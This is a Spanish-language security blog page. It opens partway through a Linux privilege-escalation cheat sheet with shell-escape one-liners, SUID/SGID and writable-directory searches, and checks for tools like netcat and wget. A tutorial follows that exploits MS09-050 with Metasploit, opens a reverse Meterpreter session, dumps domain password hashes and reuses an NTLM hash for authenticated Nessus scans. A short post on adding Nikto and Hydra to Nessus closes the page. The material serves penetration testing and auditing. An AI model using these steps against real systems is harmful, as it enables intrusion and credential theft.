Si los comandos son limitados, podremos saltarnos la "jaula" de la shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


Como están montados los sistemas de archivos?
mount
df -h


Hay algún sistema de archivos sin montar?
cat /etc/fstab


Que "Permisos Avanzados de Archivos Linux" son utilizados? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Solo el dueño del directorio o del archivo puede renombrar o borrar aqui
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - ejecución como grupo, no como el usuario que lo inició.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - ejecución como dueño, no como usuario que lo inició.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID ó SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Busca SGID ó SUID en lugares "comunes": /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin y en cualquier otro *bin,  (Búsqueda más rápida)

# Buscar iniciando en la raíz (/), SGID ó SUID, no enlaces simbólicos, solo 3 niveles de profundidad, lista con más detalles y oculta errores de acceso (permission denied).
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


En donde se puede escribir y desde donde se puede ejecutar? Unos cuantos lugares "comunes": /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null     # directorios con escritura para todos
find / -perm -222 -type d 2>/dev/null    # directorios con escritura para todos
find / -perm -o+w -type d 2>/dev/null    # directorios con escritura para todos
find / -perm -o+x -type d 2>/dev/null    # directorios con ejecución para todos
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # ejecución & escritura


Hay algún archivo "problema"? Archivos con usuario "nobody"?
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # Archivos con escritura para todos
find /dir -xdev \( -nouser -o -nogroup \) -print   # Archivos sin dueño



Búsqueda & Preparación de Códigos para Exploits

Qué herramientas/lenguajes de desarrollo están soportadas/instaladas?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc


Cómo se pueden cargar los archivos?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp


Encontrando Exploits


Buscando mas información sobre los exploits


Exploits rápidos. Binarios Pre-complilados. Utilizar con precaución



Mitigaciones

  • Probar con los comandos anteriores que tan fácil es obtener la información.
  • Configure una tarea cron el cual se encargue de automatizar scripts o productos de terceros.

El sistema se encuentra debidamente parchado? Kernel, sistema operativo, todas las aplicaciones, sus complementos y servicios web
apt-get update && apt-get upgrade
yum update


Están los servicios ejecutándose con el nivel mínimo de privilegios?
Por ejemplo, es necesario ejecutar MySQL como root?


Scripts que pueden ayudar a automatizar algo de esto



Otros enlaces y guías "rápidas"

Enumeración


Misc.


Crossposted from g0tm1lk

lunes, 8 de agosto de 2011

Utilizando Nessus con Metasploit

En este post cubriremos como iniciar análisis de Nessus desde Metasploit. Iniciando con Nessus 4, Tenable introdujo la API Nessus, la cual permite que los usuarios puedan interactuar con un servidor Nessus utilizando XMLRPC. Zate Berg tomó la iniciativa escribiéndo módulos en Metasploit que, junto con otras cosas, pueden lanzar un análisis de Nessus e importar los resultados en la base de datos de Metasploit. Desde alli, podemos encontrar que máquinas son vulnerables a explotación, explotarlas, recolectar los hashes de contraseñas y entonces utilizar esos hashes para iniciar análisis de Nessus con credenciales.


Configurando Nessus
El primer paso requerido para utilizar Nessus con Metasploit es autenticarse en Nessus y crear un usuario para Metasploit. En este ejemplo, hemos creado un usuario llamado "msf" con la contraseña "metasploit".



Estando logueados como "msf", creamos una política llamada "Windows Server Scan". La política tiene todos los plugins habilitados y la mayoría de los parámetros predeterminados los dejamos como vienen ya que queremos iniciar análisis de vulnerabilidades a nivel de la red.


Configurando la Base de Datos de Metasploit
Lo primero que debemos hacer en Metasploit es configurar la base de datos. Hay algunos pasos a seguir antes de hacer esto y los siguientes artículos pueden sernos de ayuda:

BT5 + Metasploit + PostgreSQL
BT5 + Metasploit + MySQL standalone server


Una vez la base de datos esté configurada, necesitaremos habilitar su driver y conectarnos a esta. En el siguiente ejemplo, usaremos PostgreSQL:

msf > db_driver postgresql
msf > db_connect postgres:metasploit@127.0.0.1/metasploit
msf > nessus_connect msf:metasploit@127.0.0.1:8834 ok
[*] Connecting to https://127.0.0.1:8834/ as msf
[*] Authenticated


Iniciando un Análisis de Nessus
El siguiente paso es cargar el módulo de Nessus y listar las políticas disponibles en el servidor Nessus utilizando el comando "nessus_policy_list":

msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

msf exploit(ms09_050_smb2_negotiate_func_index) > nessus_policy_list 
[+] Nessus Policy List
ID  Name                        Comments
--  ----                        --------
-4  Internal Network Scan 
-3  Web App Tests 
-2  Prepare for PCI DSS audits 
-1  External Network Scan 
1   Windows Server Scan


Las políticas incluidas en Nessus se muestran con números negativos, y las políticas creadas por el usuario se muestran con un número positivo, empezando en 1. "Windows Server Scan" es la política que hemos creado y utilizaremos para este ejemplo. Con esta política podemos inciar un nuevo análisis utilizando el comando "nessus_scan_new":

msf > nessus_scan_new 1 win2008-msf 192.168.1.180
[*] Creating scan from policy number 1, called "win2008-msf" and scanning 192.168.1.180
[*] Scan started.  uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2


Esto lanza un análisis en el servidor Nessus y analiza la máquina 192.168.1.180 utilizando nuestra política. Podemos verificar el estado del análisis utilizando el comando "nessus_scan_status":

msf > nessus_scan_status 
[+] Running Scans
Scan ID                                               Name         Owner  Started            Status   Current Hosts  Total Hosts
-------                                               ----         -----  -------            ------   -------------  -----------
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  msf    03:48 Jun 01 2011  running  0              1
*Snip*


Una vez el análisis ha terminado, podemos revisar los reportes generados utilizando el comando "nessus_report_list":

msf > nessus_report_list 
[+] Nessus Report List
ID                                                    Name         Status     Date
--                                                    ----         ------     ----
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  completed  03:51 Jun 01 2011
*Snip*


Ya que hemos identificado el reporte que queremos utilizar, podemos ejecutar el comando "nessus_report_get" para importar los resultados y almacenarlos en la base de datos de Metasploit:

msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1  Done!
[+] Done


Una vez que los resultados hayan sido importados, podemos revisar las vulnerabilidades disponibles utilizando el comando "db_vulns":

msf exploit(ms09_050_smb2_negotiate_func_index) > db_vulns 
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=5355 proto=udp name=Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=593 proto=tcp name=Service Detection refs=NSS-22964
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=445 proto=tcp name=MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check) refs=CVE-2009-3103,BID-36299,CWE-399,OSVDB-57799,MSFT-MS09-050,MSF-Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference,NSS-40887


En los resultados para esta máquina en particular, Nessus reportó que no tenía el parche del Boletín de Seguridad de Microsoft MS09-050. Para ver si Metaspoit contiene un exploit para dicha vulnerabilidad, ejecutamos el comando "search exploits 09-050":

msf > search exploits 09-050
Matching Modules
================
  Name                                                       Disclosure Date  Rank    Description
   ----                                                       ---------------  ----    -----------
   exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference


Como podemos ver, Metasploit tiene sin duda tal exploit. El siguiente paso es utilizarlo, junto con un payload, para comprometer el sistema:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > 
msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 192.168.1.180
RHOST => 192.168.1.180
msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.242:8443/
[*] Connecting to the target (192.168.1.180:445)...
[*] Sending the exploit packet (951 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] 192.168.1.180:54287 Request received for /AFIgx...
[*] 192.168.1.180:54287 Staging connection for target FIgx received...
[*] Patching Target ID FIgx into DLL
[*] 192.168.1.180:54288 Request received for /BFIgx...
[*] 192.168.1.180:54288 Stage connection for target FIgx received...
[*] Meterpreter session 1 opened (192.168.1.242:8443 -> 192.168.1.180:54288) at Wed Jun 01 04:15:35 -0400 2011
meterpreter > 


Los comandos anteriores establecen el objetivo a atacar (RHOST) y la maquina a llamar de vuelta una vez el sistema objetivo haya sido comprometido (LHOST). Hemos seleccionado un payload Meterpreter de conexión reversa HTTPS, el cual se conectará de vuelta a nuestra instancia de Metasploit en el puerto 8443. La siguiente tarea es extraer los hashes de contraseñas del sistema remoto. Para esto seleccionaremos un nuevo módulo llamado "smart_hashdump". Seleccionamos este módulo porque el sistema remoto es un controlados de dominio de Directorio Activo y tiene unas cuantas miles de cuentas de usuario. smart_hashdump nos permite extraer los hashes de las contraseñas y guardarlos en un archivo:

meterpreter > run post/smart_hasdump SESSION=1,GETSYSTEM=true
[*] Running module against WIN-8BPIQBRO0CX
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt
[+] 	This host is a Domain Controller!
[*] Dumping password hashes...

Hechémosle un vistazo a la primera línea en el archivo "/root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt" y veremos algo como esto:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:33834686d2a3f2dcb675a31b773c3a8bkrbtgt:


Esta es la contraseña de la cuenta del Administrador local. Copiamos el segundo campo (resaltado en negrilla) el cual corresponde a la contraseña NTLM en hash del usuario Administrador local. Luego, configuramos una nueva política de Nessus, y utilizaremos el hash NTLM obtenido como contraseña en el campo "SMB password":



Debemos asegurarnos definir el campo "SMB password type" como "NTLM Hash" y el campo "SMB account" como "Administrator".

Para comparar, el número de vulnerabilidades halladas mediante el análisis del sistema con credenciales y sin ellas, se muestra a continuación:

Con credenciales:




Sin credenciales:



Conclusión
Es muy agradable ver la API de Nessus ser aprovechada para ayudar a los usuarios a ser más productivos. El puente de Nessus para Metasploit es un grán proyecto de la comunidad de usuarios, que ha permitido que Nessus se integre con otras herramientas populares de seguridad. Incluso es posible automatizar el proceso anterior utilizando un script que ejecuta Nessus, inicia un análisis, y explota las vulnerabilidades de forma remota. Sin embargo, vemos que un análisis con credenciales da como resultado un informe mucho más completo de las vulnerabilidades presentes en el sistema. En última instancia, se convierte en una elección lo que queramos obtener de las evaluaciones de la seguridad y la mayoría de personas desarrollarán el proceso de manera propia.


Referencias



Fuente: Tenable

viernes, 5 de agosto de 2011

Integrando Nessus con Herramientas de Backtrack 5

Backtrack 5, con nombre clave "Revolution", es una distribución Linux muy popular utilizada principalmente para realizar pruebas de penetración. Contiene una grán cantidad de herramientas diferentes para realizar análisis, pruebas y explotación de vulnerabilidades en sistemas de aplicaciones web y hasta en redes inalámbricas. Ya que los creadores de Backtrack 5 han incluido tal arsenal de herramientas, pensé que sería interesante mostrar como algunas de estas herramientas pueden integrarse con nuestro servidor Nessus para extender algunas funcionalidades e importar los resultados.


Importando los Resultados de Nmap
Existen muchas ocasiones en las que Nmap es utilizado para analizar hosts específicos o una gran red de máquinas. Los resultados XML de Nmap pueden ser importados en Nessus y ser utilizados como base en el análisis de vulnerabilidades. Si vamos a utilizar los resultados de Nmap de esta forma, podemos deshabilitar las funcionalidades de análisis de puertos e identificación de hosts propias de Nessus, dependiendo así únicamente de los resultados de Nmap para realizar el análisis.



A continuación, necesitaremos descargar el script "nmapxml.nasl" desde el sitio web de Tenable a nuestro directorio de plugins:



Luego re-indexamos los plugins y reiniciamos Nessus, lo cual permitirá que el nuevo plugin sea leido y se muestre en la pestaña "Preferences":



Una vez Nessus haya reiniciado, podemos importar los resultados XML de Nmap utilizando la siguiente configuración:



Para obtener mas información, podemos consultar el artículo Using Nmap Within Nessus y el post Plugin Spotlight: Import Nmap XML Results Into Nessus.

Al utilizar esta configuración, debemos tener en cuenta que Nessus probará únicamente las máquinas y servicios reportadas por Nmap, aun asi hallamos agregado blancos adicionales específicos al crear el análisis.


Habilitando Nikto
Nikto es una herramienta de análisis de aplicaciones web que busca configuraciones erradas, directorios web accesibles abiertamente y vulnerabilidades del servidorde web. Podemos descargar Nikto desde el sitio web de CIRT. El primer paso para habilitar Nikto es modificar el archivo "/pentest/web/nikto/nikto.pl" y cambiar la variable "configfile" apuntando a "/pentest/web/nikto/nikto.conf":



Esto nos permitirá ejecutar el comando "nikto.pl" desde afuera del directorio /pentest/web/nikto. Luego agregamos "/pentest/web/nikto" al path del sistema:



Esto actualizará el path para todos los servicios que se ejecutan en la máquina, lo que significa que cuando iniciemos Nessus, nikto.pl estará en el path. El paso final es re-indexar los plugins de Nessus (/opt/nessus/sbin/nessusd -y) y reiniciar el servicio (/etc/init.d/nessusd restart). Cuando configuremos una política de análisis, Nikto estará disponible dentro de las preferencias:




Utilizando Hydra

Hydra ya se encuentra instalado en el path del sistema, lo que significa que se encuentra disponible para Nessus "out-of-the-box" en BackTrack 5. El menú de opciones para configurar Hydra se muestra en las preferencias de Nessus cuando se va a configurar una política de análisis:



Aquí necesitaremos incluir nuestros propios diccionarios de usuarios y contraseñas. Podemos encontrar algunos ejemplos de diccionarios de palabras en el directorio "/pentest/dictionaries" de Backtrack 5. Debemos asegurarnos de haber seleccionado la opción "Always enable Hydra (slow)" en la configuración de Nessus o de lo contrario Hydra no se ejecutará.


Conclusión

BackTrack 5 nos ahorra algo de tiempo al incluir todas las herramientas populares de forma predeterminada, lo cual es más rápido que tener que descargar, instalar y configurar los paquetes por nuestros propios medios. Extender los análisis de Nessus puede sernos útil a la hora de realizar análisis específicos a un pequeño grupo de máquinas. Hay que tener precaución al habilitar Nikto e Hydra al realizar un análisis en redes grandes, ya que esto aumentará el tiempo en la ejecución del mismo. En cuanto los resultados de Nmap, algunas veces otras personas ejecutarán análisis de Nmap u querrán enumerar las vulnerabilidades, y otras veces podremos ejecutar Nmap nosotros mismos y decidir luego si se requiere de un análisis de vulnerabilidades, de tal forma que la capacidad de importar los resultados evita la duplicación del esfuerzo.



Referencias

Fuente: Tenable